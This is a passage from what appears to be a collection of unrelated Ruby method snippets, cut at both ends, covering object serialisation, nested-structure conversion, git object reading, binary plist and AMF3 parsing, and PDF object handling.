{self.class.to_s => o}\n end\n end\n aroids[self.object_id] = o.object_id\n end\n else # this object has already been represented.\n if opts[:include_backreferences]\n # add a \"yaml-esque\" backreference\n which = aroids.keys.index(self.object_id)\n stamp = \"id#{'%03d' % (which+1)}\"\n # add the reference to the original object\n # This is why we were tracking object_id's all over the place earlier\n p = ObjectSpace._id2ref(aroids[self.object_id])\n if p.is_a? Hash\n p.merge!({_obj_id: '&' << stamp}) unless p[:_obj_id]\n elsif p.is_a? String\n p << ' _&' << stamp unless p =~ / _&id/\n elsif p.is_a? Array\n p << ('_&' << stamp) unless p.include?('_&' << stamp)\n else\n # raise \"Can't add id backreference to object: #{p.inspect}\"\n nil\n end\n # return this backreference\n o = '*' << stamp\n else # we don't care where it's first referenced. just say it's a circular ref\n o = :_circ_obj_ref\n end\n end\n o\n else # we have exceeded the maximum representational depth\n if self.is_a? Hash\n {self.keys.first => :_max_depth_exc}\n elsif self.is_a? Array\n [:_max_depth_exc]\n else\n :_max_depth_exc\n end\n end\n end", "def build_nested_object(prop, current_path)\n object_lines = []\n prop.properties.each do |nested_prop|\n next_path = \"#{current_path}/#{nested_prop.out_name}\"\n object_lines << lines([\"* `#{next_path}`\"].join(' '))\n\n object_lines << lines(wrap_field([\n ('Required.' if nested_prop.required),\n ('Output only.' if nested_prop.output),\n nested_prop.description\n ].compact.join(' '), 0), 1)\n\n if nested_prop.is_a? Api::Type::NestedObject\n object_lines.concat(build_nested_object(nested_prop, next_path))\n elsif nested_prop.is_a?(Api::Type::Array) &&\n nested_prop.item_type.is_a?(Api::Type::NestedObject)\n object_lines.concat(build_nested_object(nested_prop.item_type,\n \"#{next_path}[]\"))\n end\n end\n object_lines\n end", "def to_nested_object(opts_={})\n if @structure.degenerate?\n @vals[@offset]\n else\n _to_nested_obj(0, ::Array.new(@structure.dim, 0), opts_)\n end\n end", "def object\n obj = get_result('object')\n if obj != nil\n return obj\n end\n fs = files\n if fs != nil and fs.length > 0\n return fs[0]\n end\n nil\n end", "def get_object(id)\n path = object_path(id)\n\n if File.exists?(path)\n buf = open(path, \"rb\") { |f| f.read }\n\n raise \"not a loose object: #{id}\" if not legacy_loose_object?(buf)\n\n header, content = Zlib::Inflate.inflate(buf).split(/\\0/, 2)\n type, size = header.split(/ /, 2)\n\n raise \"bad object: #{id}\" if content.length != size.to_i\n else\n content, type = get_object_from_pack(id)\n end\n\n return type, content\n end", "def convert_from_object(object)\n if object.class.name =~\n /AdwordsApi::V201008::\\w+::\\w+/\n # Handle soap4r object\n object_class = REGISTRY.schema_definition_from_class(object.class)\n if object_class.elements and !object_class.elements.entries.empty?\n # Process complex object.\n hash = {}\n hash[:xsi_type] = object.class.name.split('::').last\n object_class.elements.entries.each do |entry|\n property = entry.varname.to_s\n if object.respond_to? property and !property.include?('_Type')\n value = object.send(property)\n property_name = nil\n if @api.config.read('service.use_ruby_names')\n property_name = underscore(property).to_sym\n else\n property_name = property.to_sym\n end\n # Recurse.\n hash[property_name] = convert_from_object(value) if value\n end\n end\n return hash\n else\n # Process simple object.\n parent = object.class.superclass\n return parent.new(object)\n end\n elsif object.is_a? Array\n # Handle arrays\n return object.map do |entry|\n # Recurse.\n convert_from_object(entry)\n end\n else\n # Handle native objects\n return object\n end\n end", "def build_nested(object)\n this = self\n\n nested_object = Configuration.new\n children.each { |child| child.build(nested_object) }\n object.instance_exec { define_singleton_method(this.name) { nested_object } }\n\n object\n end", "def read_binary_object(fname,fd)\n # first: read the marker byte\n buff = fd.read(1)\n\n object_length = buff.unpack(\"C*\")\n object_length = object_length[0] & 0xF\n\n buff = buff.unpack(\"H*\")\n object_type = buff[0][0].chr\n\n if(object_type != \"0\" && object_length == 15) then\n object_length = read_binary_object(fname,fd)\n object_length = object_length.value\n end\n\n retval = nil\n case object_type\n when '0' then # null, false, true, fillbyte\n retval = read_binary_null_type(object_length)\n when '1' then # integer\n retval = read_binary_int(fname,fd,object_length)\n when '2' then # real\n retval = read_binary_real(fname,fd,object_length)\n when '3' then # date\n retval = read_binary_date(fname,fd,object_length)\n when '4' then # data\n retval = read_binary_data(fname,fd,object_length)\n when '5' then # byte string, usually utf8 encoded\n retval = read_binary_string(fname,fd,object_length)\n when '6' then # unicode string (utf16be)\n retval = read_binary_unicode_string(fname,fd,object_length)\n when 'a' then # array\n retval = read_binary_array(fname,fd,object_length)\n when 'd' then # dictionary\n retval = read_binary_dict(fname,fd,object_length)\n end\n\n return retval\n end", "def parse_object(path_id)\n if path_id.class == Integer\n obj = @objects.find{|e| e.path_id == path_id}\n return nil unless obj\n elsif path_id.class == ObjectData\n obj = path_id\n else\n return nil\n end\n\n klass = (obj.class_idx ? @klasses[obj.class_idx] : @klasses.find{|e| e.class_id == obj.class_id} || @klasses.find{|e| e.class_id == obj.type_id})\n type_tree = Asset.parse_type_tree(klass)\n return nil unless type_tree\n\n parse_object_private(BinaryReader.new(obj.data, @endian), type_tree)\n end", "def to_h\n NestedOstruct.parse(self)\n end", "def t2(*args)\n OpenStruct.new\n end", "def object_for_hash(given_hash)\n @opener.open(name, \"r\") do |fp|\n given_hash.force_encoding(\"ASCII-8BIT\") if given_hash.respond_to?(:force_encoding)\n entry = nil\n if index\n starting_at = index.offset_for_hash(given_hash)\n return PackFileEntry.at(starting_at, fp).to_raw_object\n else\n starting_at = cached_offset(given_hash) || DATA_START_OFFSET\n fp.seek(starting_at, IO::SEEK_SET)\n while fp.tell < @end_of_data\n entry = PackFileEntry.read(fp)\n cache_entry(entry)\n return entry.to_raw_object if entry.hash_id == given_hash\n end\n end\n end\n nil\n end", "def recursive_to_h(struct)\n if struct.is_a?(Array)\n return struct.map { |v| v.is_a?(OpenStruct) || v.is_a?(Array) || v.is_a?(Hash) ? recursive_to_h(v) : v }\n end\n\n hash = {}\n\n struct.each_pair do |k, v|\n recursive_val = v.is_a?(OpenStruct) || v.is_a?(Array) || v.is_a?(Hash)\n hash[k] = recursive_val ? recursive_to_h(v) : v\n end\n hash\n end", "def object_for(path)\n # We do the traversal so that the user does not need to.\n path.split(\"/\").inject(self) {|tree, name|\n tree.objects.find {|obj| obj.name == name }\n }\n end", "def object_parsed(obj)\n if obj[:type] == \"pass\"\n puts \"%% Passing.\" if $debug\n return\n end\n\n if obj.has_key? :gen\n @gen = obj[:gen]\n end\n\n if obj[:type] == \"error\"\n puts \"%% Critical error.\"\n puts \"%% Message: #{obj[:message]}\"\n return\n end\n\n if obj[:type] != \"update\"\n puts \"%% Unknown event type: #{obj[:type]}\"\n puts obj.inspect\n return\n end\n\n # Handle creation of \"windows\" (content areas, including status bars)\n if obj.has_key? :windows\n obj[:windows].each do |window|\n puts \"%% Window: #{window.inspect}\" if $debug\n @windows[window[:id]] = window\n if window[:type] == \"grid\"\n @windows[window[:id]][:grid] = [\" \" * window[:width]] * window[:height]\n else\n @windows[window[:id]][:buffer] = []\n end\n end\n end\n\n # If the game state allows an input to be sent at this point, send the next\n # available command\n # remglk <0.2.1 compat\n if obj.has_key?(:inputs)\n obj[:input] = obj[:inputs]\n end\n if obj.has_key?(:input) && !obj.has_key?(:specialinput)\n @inputs = obj[:input]\n puts \"Inputs: #{@inputs.inspect}\" if $debug\n @remqueue.pop &@sendinput\n end\n\n # remglk <0.2.1 compat\n if obj.has_key?(:contents)\n obj[:content] = obj[:contents]\n end\n if obj.has_key? :content\n obj[:content].each do |content|\n puts \"%% Content: #{content.inspect}\" if $debug\n # It is a validly crashy error if a game state object comes in with\n # content for a window that does not exist.\n window = @windows[content[:id]]\n if window[:type] == \"grid\"\n content[:lines].each do |line|\n window[:grid][line[:line]] = \"\"\n line[:content].each do |run| \n window[:grid][line[:line]] += run_to_s(run)\n end\n end\n puts \"%% Grid window #{content[:id]}:\" if $options[:verbose]\n puts \"] \" + window[:grid].join(\"\\n] \")\n puts \"%% ---\" if $options[:verbose]\n else\n if content.has_key? :clear and content[:clear]\n window[:buffer] = []\n puts \"%% clearing window #{content[:id]}\" if $options[:verbose]\n end\n if content.has_key? :text and !content[:text].empty?\n content[:text].each do |text|\n s = \"\"\n if text.has_key? :content and !text[:content].empty?\n if text[:content].length == 1\n s = run_to_s(text[:content][0], {:solo => true})\n else\n text[:content].each do |run|\n s += run_to_s(run)\n end\n end\n end\n\n if text.has_key? :append and text[:append]\n window[:buffer] << \"\" if window[:buffer].last.nil?\n window[:buffer][-1] += s\n else\n window[:buffer] << s\n end\n end\n end\n window[:buffer] = word_wrap(window[:buffer].join(\"\\n\")).split(\"\\n\")\n puts window[:buffer].join(\"\\n\")\n window[:buffer] = [window[:buffer].last]\n end\n end\n end\n\n # If the game state allows a special input to be sent at this point (usually a \n # save/restore filename), handle it here\n if obj.has_key? :specialinput\n @inputs = [obj[:specialinput]]\n @inputs[0][:gen] = @gen\n puts \"Special inputs: #{@inputs.inspect}\" if $debug\n puts \"%% Enter a #{obj[:specialinput][:filetype]} filename to #{obj[:specialinput][:filemode]}:\"\n @remqueue.pop &@sendinput\n end\n\n #ap obj\n\n end", "def recover_object\n # Up to the tab is the amount of bytes to read\n demarshal_bytes = @io.gets(\"\\t\").to_i\n \n # When at end of IO return nil\n raise NothingToRecover if demarshal_bytes.zero?\n \n blob = @io.read(demarshal_bytes)\n demarshal_object(blob)\n end", "def read\n @storage = {}\n scan\n apply_overrides\n\n OpenStruct.new(@storage)\n end", "def generate_structure(cocina_dro:, object:, reading_order: nil)\n item_structure = manifest[object]\n raise \"no structure found in manifest for `#{object}'\" unless item_structure\n\n current_directory = Dir.pwd # this must be done before resources_hash is built\n structure = FromFileManifest::StructuralBuilder.build(cocina_dro:,\n resources: item_structure,\n reading_order:)\n\n FileUtils.cd(current_directory)\n structure\n end", "def create_ostruct_from_hash(hash)\n ret = OpenStruct.new(hash)\n hash.each do |key, value|\n if value.is_a?(Hash)\n ret.send(\"#{key}=\", create_ostruct_from_hash(value))\n elsif value.is_a?(Array)\n ret.send(\"#{key}=\", create_ostruct_array(value))\n end\n end\n ret\nend", "def to_doc(o = self)\n o = EOStruct::eos o\n h = o._hash.clone\n h.each { |k, v|\n if v.kind_of? OpenStruct\n h[k] = to_doc(v)\n end\n }\n h\n end", "def create(object, path = nil)\n to_ostruct(post(sanitize!(path), object.to_json))\nend", "def readAMF3Object\n handle = readAMF3Int\n inline = ( handle & 1 ) != 0\n handle = handle >> 1\n\n if ! inline\n return @storedObjects[ handle ]\n end\n\n inlineClassDef = ( handle &1 ) != 0\n handle = handle >> 1\n if inlineClassDef\n typeId = readAMF3String\n externalizable = ( handle &1 ) != 0\n handle = handle >> 1\n dynamic = ( handle &1 ) !=0\n handle = handle >> 1\n classMemberCount = handle\n\n classMemberDefinitions = Array.new\n classMemberCount.times do\n classMemberDefinitions << readAMF3String\n end\n\n classDefinition = {\n 'type' => typeId,\n 'externalizable' => externalizable,\n 'dynamic' => dynamic,\n 'members' => classMemberDefinitions\n }\n @storedDefinitions << classDefinition\n else\n classDefinition = @storedDefinitions[ handle ]\n end\n\n obj = OpenStruct.new\n @storedObjects << obj\n\n if classDefinition[ 'externalizable' ]\n obj.send( \"#{ AMF_FIELD_EXTERNALIZED_DATA }=\", readAMF3Data )\n else\n classDefinition[ 'members' ].each do |member|\n obj.send( \"#{ member }=\", readAMF3Data )\n end\n\n if classDefinition[ 'dynamic' ]\n key = readAMF3String\n while key != ''\n obj.send( \"#{ key }=\", readAMF3Data )\n key = readAMF3String\n end\n end\n end\n\n if classDefinition[ 'type' ] != ''\n obj.send( \"#{ AMF_FIELD_EXPLICIT_TYPE }=\", classDefinition[ 'type' ] )\n end\n\n obj\n end", "def use_openstruct(use_openstruct)\n @@use_openstruct = use_openstruct\n end", "def create_eos(o = OpenStruct.new) \n class << (o)\n include EOS\n alias_method :_hash, :deep_inspect\n end unless o.respond_to? :deep_inspect\n o\n end", "def open_object\n @stack << { :contents => @current_contents, :page => @current_page }\n @current_contents = PDF::Writer::Object::Contents.new(self)\n @loose_objects << @current_contents\n yield @current_contents if block_given?\n @current_contents\n end", "def recursive_parsing(object, tmp = [])\n case object\n when Array\n object.each.with_index(1).with_object({}) do |(element, i), result|\n result.merge! recursive_parsing(element, tmp + [i])\n end\n when Hash\n object.each_with_object({}) do |(key, value), result|\n result.merge! recursive_parsing(value, tmp + [key])\n end\n else\n { tmp.join(' => ') => object }\n end\n end", "def serialize(object) end", "def open_new_object\n save_state\n oid = open_object\n close_object\n add_object(oid)\n reopen_object(oid)\n oid\n end", "def json_structure_for(object)\n case object\n\n when Hash\n Hash[object.map do |key, value|\n [json_structure_for(key), json_structure_for(value)]\n end]\n\n when Array\n object.map { |value| json_structure_for(value) }\n\n when Record\n Hash[Record::FIELDS.map do |field_name|\n [field_name.to_s, json_structure_for(object.send(field_name))]\n end]\n\n when RecordSet\n object.list_records.map do |record|\n json_structure_for(record)\n end\n\n when String, Integer, Float, Date\n object\n\n else\n object.to_s\n end\n end", "def build_tree(target_object)\n\n tree = {class: get_test_class(target_object), id: target_object.object_id, composition: []}\n if (target_object.is_a? Array)\n tree[:composition] = deconstruct_array(target_object)\n elsif target_object.is_a? Hash\n tree[:composition] = deconstruct_hash(target_object)\n elsif target_object.is_a? Pretentious::RecordedProc\n tree[:composition] = deconstruct_proc(target_object)\n tree[:given_block] = target_object.given_block?\n tree[:recorded_proc] = target_object\n tree[:id] = target_object.target_proc.object_id\n tree[:block_params] = self.class.block_param_names(target_object)\n elsif target_object.methods.include? :_get_init_arguments\n args = target_object._get_init_arguments\n\n unless args.nil?\n\n args[:params].each { |p|\n tree[:composition] << build_tree(p)\n }\n\n tree[:block] = build_tree(args[:block]) unless args[:block].nil?\n else\n tree[:composition] = target_object\n end\n\n else\n tree[:composition] = target_object\n end\n tree\n end", "def lookup_object(obj, name)\n # this scans the source during the recursive calls, \n # then follows the same path in the target on the way out\n raise \"Keys cannot be null\" if obj.nil?\n #puts \"Looking up #{obj}\"\n rel_key_field = SchemaSchema.keyRel(obj.schema_class)\n if rel_key_field.nil?\n raise \"Keys should connect to root but stop at #{obj}\" if obj != @source_root\n return @target_root\n else\n key_field = SchemaSchema.key(obj.schema_class)\n\n raise \"Key relationship fields must have inverses\" if rel_key_field.inverse.nil?\n raise \"A relationship key must have a data key as well\" if key_field.nil?\n\n base = lookup_object(obj[rel_key_field.name], name)\n key = obj[key_field.name] #[1..-1]\n #puts \"IDENTIFY #{key_field.name}/#{rel_key_field.name} key #{key}\"\n return base[rel_key_field.inverse.name][name]\n end\n end", "def convert_data_to_io_obj options, &block\n\n data = options.delete(:data)\n\n if block_given?\n options[:data] = IOProxy.new(block)\n elsif data.is_a?(String)\n data = data.dup if data.frozen?\n data.force_encoding(\"BINARY\") if data.respond_to?(:force_encoding)\n options[:data] = StringIO.new(data)\n elsif data.is_a?(Pathname)\n options[:data] = open_file(data.to_s)\n elsif io_like?(data)\n options[:data] = data\n else\n msg = \"invalid :data option, expected a String, Pathname or \"\n msg << \"an object that responds to #read and #eof?\"\n raise ArgumentError, msg\n end\n\n end", "def deep_clone(object)\n Marshal.load(Marshal.dump(object))\n end", "def from_root\n items = parts\n items.shift if items.size > 1 && items.first == 'Object'\n items.join(SEPARATOR)\n end", "def obj_struct_build(options)\n if options.is_a? Array\n vals = group_by_class(options)\n vals.each { |k, v| set_attrs(k, v) }\n elsif options.is_a? Hash\n options.each { |k, v| set_attrs(k, v) } # multiple objects already built\n else\n klass = options.class.to_s.underscore\n set_attrs(klass, options)\n end\n end", "def build_object_from_record(cr_json_object, object_class)\n # B. build new class using object keys\n cro_properties = cr_json_object.keys\n cra_keys = nil\n cro_class = nil\n cro_properties.each do |instance_var|\n if cra_keys == nil or !cra_keys.include?(instance_var)\n cro_class = CrApiWrapper::CrObjectFactory.create_class object_class, cro_properties\n cra_keys = cro_properties\n break\n end\n end\n #cro_class = CrApiWrapper::CrObjectFactory.create_class object_class, cro_properties\n new_cro = cro_class.new\n # C. assing object values in content to class instance\n CrApiWrapper::CrObjectFactory.assing_attributes new_cro, cr_json_object\n # now handle nested objects\n cro_properties.each do |field|\n instance_var = field.gsub('/','_').downcase()\n instance_var.gsub!(' ','_')\n instance_var = instance_var.gsub('-','_')\n field_value = new_cro.instance_variable_get(\"@#{instance_var}\")\n field_type = field_value.class\n #puts \"Field: \" + instance_var + \" Type: \" + field_type.to_s + \" Value: \" + field_value.to_s\n if field_type == Hash\n # a hash is the representation of a nested object\n # handle this as a hash\n new_class_name = \"Cr\" + camelise(instance_var)\n #puts \"handle this as a Hash create class \" + new_class_name\n cr_nested_object = build_object_from_record(field_value, new_class_name)\n #puts cr_nested_object\n #puts \"***************************************************************\"\n new_cro.instance_variable_set(\"@#{instance_var}\", cr_nested_object)\n elsif field_type == Array\n values_list = []\n # an array can contain many objects\n # treat each array elemen as a nested object\n field_value.each do |fvs|\n cr_list_object = nil\n if fvs.class == Hash\n new_class_name = \"Cr\" + camelise(instance_var)\n cr_list_object = build_object_from_record(fvs, new_class_name)\n else\n cr_list_object = fvs\n end\n values_list.append(cr_list_object)\n end\n new_cro.instance_variable_set(\"@#{instance_var}\", values_list)\n end\n end\n return new_cro\nend", "def build_object(builder, property_name, object, child_ns)\n raise 'Objects must respond to each' unless object.respond_to?(:each)\n object_name = Zuora::Utils::Envelope.to_zuora_key property_name\n builder[:api].send(object_name) do\n build_nodes builder, object, child_ns\n end\n end", "def to_obj; end", "def representObject(obj)\n @object = obj\n # First clear registered tsets and then seed with state from 'obj'\n @tsets.each do |tset, pat|\n tset.clear()\n end\n @tsets.each do |tset, pat|\n find(pat).each do |t|\n tset.addTuple(t)\n end\n end\n obj\n end", "def marshal_load(serialised); end", "def convert_to_openstruct?(options) # :nodoc:\n @@use_openstruct ? Options.new(options) : options\n end", "def traverse obj=self, &block\n case\n when obj.respond_to?(:parent?) && obj.respond_to?(:child?)\n block.call obj\n obj.children.each { |c| traverse(c, &block) }\n when obj.respond_to?(:parent?)\n obj.children.each { |c| traverse(c, &block) }\n when obj.respond_to?(:child?)\n block.call obj\n end\n end", "def readObject\n raise NotImplementedError, <<-STR\n\n \\e[91m\n I'm afraid this might not work.\n > you need access to the original class definitions (and a)\n > Java runtime to load them into) to turn the stream data back\n > something approaching the original objects.\n \\e[0m\n STR\n end", "def get_object(o)\n p = URI.unescape(URI(o.split(\" \")[1]).path)\n return File.join('./',p) # join on the current directory\nend", "def object_data(path)\n blob = path_to_object(path)\n return nil if (not blob) || (blob.kind_of? Grit::Tree)\n blob.kind_of?(Grit::Blob) ? blob.data : blob\n end", "def demarshal_object(blob)\n Marshal.load(blob)\n end", "def parse_object_simple(path_id)\n Asset.object_simplify(parse_object(path_id))\n end", "def build_struct(node)\n struct_values = node.find('struct/*[@resource-type=\"Primitive\"]').to_a.collect{|primitive_node|\n [ primitive_node['ident'].to_sym, \"Shapes::Builder::#{primitive_node['resource-type']}\".\n constantize.new(primitive_node).build_resource ]\n }\n Shapes::Struct.struct_class(struct_name, struct_values.map(&:first)).new(*struct_values.map(&:last))\n end", "def to_srclib_defn(obj)\n {\n 'Path' => yard_object_path_to_srclib_path(obj['path']),\n 'TreePath' => yard_object_path_to_srclib_treepath(obj['path']),\n 'Name' => obj['name'],\n 'Kind' => RUBY_OBJECT_TYPE_MAP[obj['type']],\n 'Exported' => obj['exported'],\n 'File' => obj['file'],\n 'DefStart' => obj['def_start'],\n 'DefEnd' => obj['def_end'],\n 'Test' => !!(/(_test\\.rb|_spec\\.rb)$/.match(obj['file']) or /(specs?|tests?)\\//.match(obj['file'])),\n 'Data' => {\n # NOTE: This should be kept in sync with the def formatter in this\n # repository (which is written in Go).\n 'RubyKind' => obj['type'],\n 'TypeString' => obj['type_string'],\n 'Signature' => obj['signature'],\n 'Module' => obj['module'],\n 'RubyPath' => obj['path'],\n 'ReturnType' => obj['return_type'],\n },\n }\n end", "def _sparkle_dump_unpacker(item)\n if item.is_a?(::Enumerable)\n if item.respond_to?(:keys)\n item.class[\n *item.map do |entry|\n _sparkle_dump_unpacker(entry)\n end.flatten(1)\n ]\n else\n item.class[\n *item.map do |entry|\n _sparkle_dump_unpacker(entry)\n end\n ]\n end\n elsif item.is_a?(::AttributeStruct)\n item.nil? ? UNSET_VALUE : item._sparkle_dump\n elsif item.is_a?(::SparkleFormation)\n item.sparkle_dump\n else\n item\n end\n end", "def convert_to_object(object, parent_class = nil, property = nil)\n property = camel_case(property.to_s) if property\n if object.is_a? Hash\n # Process a hash.\n specified_class = object[:xsi_type] or object['xsi_type']\n default_class = nil\n # Determine default class for this object, given the property\n # being set.\n if parent_class and property\n parent = REGISTRY.schema_definition_from_class(parent_class)\n element = parent.elements.entries.find do |entry|\n entry.varname.to_s == property.to_s\n end\n default_class = element.mapped_class if element\n end\n validate_object(object, default_class)\n real_class = nil\n if specified_class\n real_class = @module.class_eval(specified_class)\n else\n real_class = default_class\n end\n # Instance real object.\n real_object = real_class.new\n # Set each of its properties.\n object.each do |entry, value|\n entry = entry.to_s\n unless entry == 'xsi_type'\n if @api.config.read('service.use_ruby_names')\n entry = camel_case(entry)\n end\n if value.is_a? Hash\n # Recurse.\n set_object_property(real_object, entry,\n convert_to_object(value, real_class, entry))\n elsif value.is_a? Array\n set_object_property(real_object, entry,\n value.map do |item|\n # Recurse.\n convert_to_object(item, real_class, entry)\n end\n )\n else\n set_object_property(real_object, entry, value)\n end\n end\n end\n return real_object\n elsif object.is_a? Array\n # Process an array\n return object.map do |entry|\n # Recurse.\n convert_to_object(entry, parent_class, property)\n end\n else\n return object\n end\n end", "def walk_automation_objects(service_object)\n automation_object = Struct::ServiceObject.new(service_object.to_s, \"\", Array.new)\n if service_object.to_s == $evm.root.to_s\n automation_object.position = 'root'\n elsif service_object.to_s == $evm.parent.to_s\n automation_object.position = 'parent'\n elsif service_object.to_s == $evm.object.to_s\n automation_object.position = 'object'\n end\n offspring = service_object.children\n unless offspring.nil? || (offspring.kind_of?(Array) and offspring.length.zero?)\n Array.wrap(offspring).each do |child|\n automation_object.children << walk_automation_objects(child)\n end\n end\n return automation_object\nend", "def safe_dump_recurse(object, limit = @limit, objects = default_objects)\n\t\t\t\tif limit <= 0 || objects[object]\n\t\t\t\t\treturn replacement_for(object)\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tcase object\n\t\t\t\twhen Hash\n\t\t\t\t\tobjects[object] = true\n\t\t\t\t\t\n\t\t\t\t\tobject.to_h do |key, value|\n\t\t\t\t\t\t[\n\t\t\t\t\t\t\tString(key).encode(@encoding, invalid: :replace, undef: :replace),\n\t\t\t\t\t\t\tsafe_dump_recurse(value, limit - 1, objects)\n\t\t\t\t\t\t]\n\t\t\t\t\tend\n\t\t\t\twhen Array\n\t\t\t\t\tobjects[object] = true\n\t\t\t\t\t\n\t\t\t\t\tobject.map do |value|\n\t\t\t\t\t\tsafe_dump_recurse(value, limit - 1, objects)\n\t\t\t\t\tend\n\t\t\t\twhen String\n\t\t\t\t\tobject.encode(@encoding, invalid: :replace, undef: :replace)\n\t\t\t\twhen Numeric, TrueClass, FalseClass, NilClass\n\t\t\t\t\tobject\n\t\t\t\telse\n\t\t\t\t\tobjects[object] = true\n\t\t\t\t\t\n\t\t\t\t\t# We could do something like this but the chance `as_json` will blow up.\n\t\t\t\t\t# We'd need to be extremely careful about it.\n\t\t\t\t\t# if object.respond_to?(:as_json)\n\t\t\t\t\t# \tsafe_dump_recurse(object.as_json, limit - 1, objects)\n\t\t\t\t\t# else\n\t\t\t\t\t\n\t\t\t\t\tsafe_dump_recurse(object.to_s, limit - 1, objects)\n\t\t\t\tend\n\t\t\tend", "def rubyversed (obj); @template.rubyversed(obj); end", "def expand_tree(path)\n names = path.split('/')\n names.pop\n parent = work_tree\n names.each do |name|\n object = parent[name]\n break if !object\n if object.type == :blob\n parent.move(name, name + CONTENT_EXT)\n break\n end\n parent = object\n end\n end", "def resolve_references(obj)\n case obj\n when PDF::Reader::Stream then\n obj.hash = resolve_references(obj.hash)\n obj\n when PDF::Reader::Reference then\n resolve_references(@xref.object(obj))\n when Hash then obj.each { |key,val| obj[key] = resolve_references(val) }\n when Array then obj.collect { |item| resolve_references(item) }\n else\n obj\n end\n end", "def from_type(obj)\n if !obj.nil? && type && !mapping\n send(\"dump_#{type}\", obj)\n elsif !obj.nil? && mapping && mapping.key?(obj)\n mapping[obj]\n else\n obj\n end\n end", "def convert_if_possible(object_hash)\n if klass = object_hash.is_a?(Hash) && object_hash['data']\n if model_string = object_hash['data']['architect4r_type']\n data = begin\n eval(\"#{model_string}.send(:build_from_database, object_hash)\")\n rescue => ex\n data\n end\n elsif object_hash['self'].match(/node\\/\\d+$/i)\n data = GenericNode.send(:build_from_database, object_hash)\n end\n else\n data = object_hash\n end\n data\n end", "def parse\n wo_lines = IO.readlines( @file_dir )\n @current_group = get_group( \"default\" )\n @current_material_name = \"default\"\n puts(\"+Loading .obj file:\\n \\\"#{@file_dir.sub(ROOT, '')}\\\"\") if @verbose\n # parse file context\n wo_lines.each do |line|\n tokens = line.split\n # make sense of the object tokens\n string = line.sub(\"\\r\", \"\")\n process_line(tokens[0], tokens[1..tokens.length-1], string.sub(\"\\n\", \"\"))\n end\n @object_name = @file_dir.split('/').last\n @object_name.sub!(\".obj\", '')\n # verbose status updates\n puts(\"+Object name is \\\"#{@object_name}\\\" with (#{@objects.size}) Internal Objects.\") if @verbose\n if get_group(\"default\").faces.empty?\n @groups.delete(\"default\")\n end\n @current_group = nil\n @current_material_name = nil\n end", "def restoreSerialised( handle, key )\n obj = nil\n data = handle[ key ];\n obj = Marshal.load( data )\n return obj\nend", "def to_ostruct(response)\n OpenStruct.new(JSON.parse(response))\nend", "def fill_from_object(object)\n self\n end", "def path_nav(obj, path = '', delimiter = '.', &block)\n case obj\n when Hash\n if obj.empty?\n yield path, obj\n else\n obj.each do |k, v|\n path_nav(\n v,\n (path ? [path, k.to_s.gsub(delimiter, \"\\\\#{delimiter}\")].join(delimiter) : k.to_s.gsub(delimiter, \"\\\\#{delimiter}\")).to_s,\n delimiter,\n &block\n )\n end\n end\n when Array\n if obj.empty?\n yield path, obj\n else\n obj.each_with_index do |ob, index|\n path_nav(\n ob,\n (path ? [path, \"[#{index}]\"].join(delimiter) : \"[#{index}]\").to_s,\n delimiter,\n &block\n )\n end\n end\n else\n yield path, obj\n end\n end", "def raw\n raise \"ll-008: No block given to method\" unless block_given?\n yield(OpenStruct.new(Issue: self))\n end", "def __getobj__\n @o\n end", "def flatten_object something\r\n if something.is_a? Hash\r\n super_flatten_hash(something)\r\n elsif something.is_a? Array\r\n super_flatten_array(something)\r\n else\r\n something\r\n end\r\nend", "def resolve(object_id, to_type, parent_offset: 0)\n if object_id =~ /^(.+)~([0-9]+)$/\n object_id = $1\n parent_offset = $2.to_i\n end\n\n object = self[object_id]\n\n raise KeyError, \"Cannot find object #{object_id}\" if object.nil?\n\n if object.object_type == :commit and parent_offset > 0\n parent_offset.times do\n raise \"Commit #{object.id} has more than one parent\" if object.parents.size > 1\n raise \"Commit #{object_id} has no parents\" if object.parents.size.zero?\n\n object = self[object.parents.first]\n end\n end\n\n case object.object_type\n when to_type\n object\n when :label\n resolve object.reference_id, to_type, parent_offset: parent_offset\n when :commit\n resolve object.tree, to_type\n else\n raise \"Cannot resolve #{object_id} to a #{to_type}\"\n end\n end", "def substruct(strbuf, name, len, klass, *extra_args)\n new=klass.new(strbuf, *extra_args)\n @fields << new\n @hash_references[name]=new\n meta_def name do new end\n # More informative than the NoMethodError they would normally get.\n meta_def (name.to_s + '=').to_sym do raise NoMethodError, \"Binstruct: Illegal call of '=' on a substruct.\" end\n end", "def read_binary_object_at(fname,fd,pos)\n position = @offsets[pos]\n fd.seek(position,IO::SEEK_SET)\n return read_binary_object(fname,fd)\n end", "def full_object\n fail NotImplementedError\n end", "def adjunto\n \tputs archivo.path\n #archivo.file.read\n #OpenStruct.new(:data => archivo.file.read)\n archivo_url.to_s\n end", "def deep_clone; Marshal::load(Marshal.dump(self)); end", "def deep_copy(object)\n Marshal.load(Marshal.dump(object))\nend", "def serialize(_object, data); end", "def serialize(_object, data); end", "def serialize(object, data); end", "def object_wrapper(name, object_class, schema, hooks = {})\n if hooks[:new]\n read_body = \"r = #{name}_newhook(#{name}_class);\"\n else\n read_body = \"r = #{name}_class.new;\"\n end \n\n to_body = \"r = [];\"\n to_body << \"value = #{name}_tohook(value);\" if hooks[:to]\n \n readlen_body = \"old_offset = offset;\"\n \n 0.upto schema.length / 2 - 1 do |i|\n abi_type = schema[i * 2]\n type_mapping = schema[i * 2 + 1]\n \n # Set up the translation table.\n if type_mapping.nil?\n type_mapping = {}\n components = @target.send :\"#{abi_type}_components\"\n components.each { |c| type_mapping[c] = c }\n end\n \n # Set up the read_ and read_name_length methods.\n if abi_type.kind_of? Symbol\n read_body << \"v = read_#{abi_type}(array,offset);\"\n else\n read_body << \"v = #{abi_type.inspect};\"\n end \n case type_mapping\n when Symbol\n read_body << \"r.#{type_mapping} = v;\"\n when Hash, nil \n type_mapping.each do |k, v|\n read_body << \"r.#{v} = v[:#{k}];\"\n end\n end\n if abi_type.kind_of? Symbol\n if @target.respond_to? :\"#{abi_type}_length\"\n read_body << \"offset += #{@target.send :\"#{abi_type}_length\"};\"\n readlen_body << \"offset += #{@target.send :\"#{abi_type}_length\"};\"\n elsif @target.respond_to? :\"read_#{abi_type}_length\"\n read_body << \"offset += read_#{abi_type}_length(array,offset);\" \n readlen_body << \"offset += read_#{abi_type}_length(array,offset);\" \n else\n raise \"#{abi_type} doesn't support _length or read_#{abi_type}_length\"\n end\n end\n \n # Set up the to_ method.\n next unless abi_type.kind_of? Symbol\n to_body << \"r += to_#{abi_type}(\"\n case type_mapping\n when Symbol\n to_body << \"value.#{type_mapping}\"\n when Hash\n to_body << type_mapping.map { |k, v| \":#{k} => 